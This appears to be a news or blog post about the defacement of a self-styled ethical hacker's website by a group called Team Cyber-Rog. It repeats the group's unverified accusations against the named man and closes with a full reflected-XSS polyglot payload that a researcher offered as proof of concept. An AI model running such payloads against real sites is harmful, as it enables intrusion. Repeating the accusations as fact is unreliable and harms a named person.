Self Proclaimed Ethical Hacker Trishneet Arora website hacked by Team Cyber-Rog

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Last night, Self Proclaimed Ethical Hacker Trishneet Arora official website( has breached and defaced by the hacker group called "Team Cyber-Rog ".

Trishneet is the author of a book "The Hacking Era". And claims himself to be awarded as India's best ethical hacker, Punjab's No.1 Cyber Crime Consultant and World's 2nd Youngest Author of Ethical Hacking Books.Trishneet has been known on the internet as founder of TAC Security Solutions, a cyber security company.

As far as Wikipedia is concerned they deleted his own made page ( 3 times in the past for the following reasons:

"12:29, 20 October 2012 Bwilkins (talk | contribs) deleted page Trishneet Arora (G4: Recreation of a page that was deleted per a deletion discussion (CSDH))
18:01, 18 October 2012 MBisanz (talk | contribs) deleted page Trishneet Arora (Wikipedia:Articles for deletion/Trishneet Arora)
13:13, 2 September 2012 Boing! said Zebedee (talk | contribs) deleted page Trishneet Arora (G11: Unambiguous advertising or promotion)"

After Numerous restore tries by him , the deface page is still up ,Exposing his true face.  Trishneet as claimed by hackers conducts so called ethical hacking workshops around the country.  A lot of people have informed us that this guy has absolute 0 knowledge in this field and yet goes around acting as a "professional it security expert". All his websites are under free hosting and last night another one of his domain was hacked .

"You have dissapointed us, we will continue to own and expose people like Trishneet . Learn to secure yourself before you teach others . Trishneet ,stop making fake account of girls and and conducting fake workshops for money/profit. We are watching you ,Expect Us!" the message from the Cyber-Rog team. "oh and good luck with your book sales now :P"

The defaced page:

We come to know about this hack when a security researcher Vedachala reported a XSS security flaw in the Trishneet website.

The POC code provided by Vedachala for the Reflected XSS:';alert(String.fromCharCode(80,79,79,82,32,78,48,111,98,44,40,86,51,68,64,67,72,52,76,65,32,72,51,114,101,41,46,32,83,51,99,117,114,101,32,121,111,117,114,32,97,36,36,32,102,105,114,115,116,46,46))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(80,79,79,82,32,78,48,111,98,44,40,86,51,68,64,67,72,52,76,65,32,72,51,114,101,41,46,32,83,51,99,117,114,101,32,121,111,117,114,32,97,36,36,32,102,105,114,115,116,46,46))//";alert(String.fromCharCode(80,79,79,82,32,78,48,111,98,44,40,86,51,68,64,67,72,52,76,65,32,72,51,114,101,41,46,32,83,51,99,117,114,101,32,121,111,117,114,32,97,36,36,32,102,105,114,115,116,46,46))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(80,79,79,82,32,78,48,111,98,44,86,51,68,64,67,72,52,76,65,32,72,51,114,101,46,32,83,51,99,117,114,101,32,121,111,117,32,97,36,36,32,102,105,114,115,116,46,46))</SCRIPT>

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